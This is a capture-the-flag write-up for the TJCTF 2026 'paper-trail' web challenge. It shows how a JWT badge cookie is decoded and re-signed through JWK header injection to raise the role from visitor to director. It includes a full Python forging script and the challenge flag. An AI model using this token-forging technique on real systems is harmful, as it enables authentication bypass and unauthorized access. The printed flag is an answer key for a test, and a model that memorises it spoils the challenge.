TJCTF2026-web/paper-trail
When visiting the challenge, the application shows a check-in form:

Enter any name. The request is sent to the endpoint:

The server returns a 302 Found redirect and sets a cookie:
This shows the application uses a JWT to store the visitor’s badge information.
JWT analysis
The cookie received:
paper_badge=eyJhbGciOiJSUzI1NiIsImtpZCI6ImZyb250LWRlc2stMjAyNiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYXBlci10cmFpbC1vZmZpY2UiLCJhdWQiOiJwYXBlci10cmFpbC12aXNpdG9ycyIsInN1YiI6IjcyMDQyZjllMDYyNTA2NGYiLCJuYW1lIjoiZnJvZyIsInJvbGUiOiJ2aXNpdG9yIiwiaWF0IjoxNzc5MDE3MzE3LCJuYmYiOjE3NzkwMTczMTcsImV4cCI6MTc3OTAyMDkxN30.ecfs2Jj38eZalf7OUzFa9OJWtEcUKyEyhHW3mFRWlWhlFgUD12jZGlh9Hhy1O-iZ8knBIgTRq2qu5GMSX5noo_JMUgJVeNcVq7v5hw5f0QZmZ2VSJSC5MPEgOSZUNNUvYv5TamSZ_khXVFBSJGYPifbIufrAHwURivNk7YI8AMaf0VBvAkihiUPWrGRDQT5ZOFOe4wwjKS6AvmcvnOr-g3qUH-cDZs3Mns3ne1ZJZuwyDYfTv1PbLLG6JRrmdcQWYL7BysI1RafCVgoARaJVpH3YIRW5XUI44JTU7LXrYrCQZUxufTrcHWCkL981APqw2vqGcPZcrDFR22FwBXjPTw
The JWT has 3 parts:
header.payload.signature
Decoding the initial JWT, we see the payload has content similar to:
{
"iss": "paper-trail-office",
"aud": "paper-trail-visitors",
"sub": "72042f9e0625064f",
"name": "frog",
"role": "visitor",
"iat": 1779017317,
"nbf": 1779017317,
"exp": 1779020917
}
Access the VAULT DRAWER:

With role = visitor it won’t return the flag because the permission is insufficient.
The goal is to craft a valid JWT with role = director
Bug analysis
The initial JWT uses the algorithm:
{
"alg": "RS256",
"kid": "front-desk-2026",
"typ": "JWT"
}
With RS256, the server normally has to verify the signature using a fixed public key on the backend.
However, this challenge has a JWK header injection bug. The JWT allows the header to contain a jwk field.
Forging a new JWT
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
old_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6ImZyb250LWRlc2stMjAyNiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwYXBlci10cmFpbC1vZmZpY2UiLCJhdWQiOiJwYXBlci10cmFpbC12aXNpdG9ycyIsInN1YiI6IjcyMDQyZjllMDYyNTA2NGYiLCJuYW1lIjoiZnJvZyIsInJvbGUiOiJ2aXNpdG9yIiwiaWF0IjoxNzc5MDE3MzE3LCJuYmYiOjE3NzkwMTczMTcsImV4cCI6MTc3OTAyMDkxN30.ecfs2Jj38eZalf7OUzFa9OJWtEcUKyEyhHW3mFRWlWhlFgUD12jZGlh9Hhy1O-iZ8knBIgTRq2qu5GMSX5noo_JMUgJVeNcVq7v5hw5f0QZmZ2VSJSC5MPEgOSZUNNUvYv5TamSZ_khXVFBSJGYPifbIufrAHwURivNk7YI8AMaf0VBvAkihiUPWrGRDQT5ZOFOe4wwjKS6AvmcvnOr-g3qUH-cDZs3Mns3ne1ZJZuwyDYfTv1PbLLG6JRrmdcQWYL7BysI1RafCVgoARaJVpH3YIRW5XUI44JTU7LXrYrCQZUxufTrcHWCkL981APqw2vqGcPZcrDFR22FwBXjPTw"
payload = jwt.decode(
old_token,
options={
"verify_signature": False,
"verify_exp": False,
"verify_aud": False
}
)
payload["role"] = "director"
key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
private_pem = key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
public_numbers = key.public_key().public_numbers()
def b64url_uint(n):
return jwt.utils.base64url_encode(
n.to_bytes((n.bit_length() + 7) // 8, "big")
).decode()
jwk = {
"kty": "RSA",
"e": b64url_uint(public_numbers.e),
"n": b64url_uint(public_numbers.n)
}
headers = {
"alg": "RS256",
"typ": "JWT",
"kid": "front-desk-2026",
"jwk": jwk
}
new_token = jwt.encode(
payload,
private_pem,
algorithm="RS256",
headers=headers
)
print(new_token)
The script generates a new JWT with role = director and a header containing a jwk public key that we created ourselves.
Replace with the new token:

Flag
tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}